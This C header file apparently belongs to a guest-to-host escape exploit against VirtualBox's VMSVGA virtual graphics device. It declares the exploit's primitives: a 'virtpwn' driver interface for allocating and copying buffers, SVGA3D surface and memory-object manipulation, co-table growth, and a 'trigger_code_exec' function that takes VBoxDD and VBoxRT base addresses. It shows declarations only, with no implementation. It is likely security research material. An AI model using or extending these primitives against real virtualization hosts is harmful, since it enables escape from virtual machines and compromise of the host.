#ifndef COMMON_PRIMITIVES_
#define COMMON_PRIMITIVES_

#include <stdint.h>
#include "defs.h"

#define SHIFT 12
#define VGAPWN_ALLOC 0
#define VGAPWN_COPY 1
#define VGAPWN_FREE 2
#define VGAPWN_RETRIEVE 3

#define header_size  sizeof(SVGA3dCmdHeader)

struct vgapwn_alloc {
	uint64_t size;
	uint64_t ret_virt_addr;
	uint64_t ret_phys_addr;
};

struct vgapwn_copy {
	uint64_t size;
	uint64_t src_addr;
	uint64_t dst_addr;

};

int open_virtpwn_dev();
int alloc_transfer_buffer(uint64_t size, uint64_t* virt_addr, uint64_t* phys_addr); 

int define_surface(uint32_t gb_surface_id, uint32_t width, uint32_t height, uint32_t depth, uint32_t format);
int define_gmob(uint32_t mobid, uint64_t phys_addr, uint64_t size);
int bind_surface(uint32_t surface_id, uint32_t mobid);
int destroy_gmob(uint32_t mobid);
int destroy_surface(uint32_t surface_id);

int force_alloc_surface(uint32_t surface_id);

int define_context(uint32_t context_id);
int grow_co_table(uint32_t context_id, uint32_t mobid, uint32_t type, uint32_t size);

int define_screen(SVGA3dCmdDefineGBScreenTarget *screen);
int clear_cmd();

int trigger_code_exec(struct exploit_context* ctx, uint64_t vboxdd_base, uint64_t vboxrt_base);

#endif
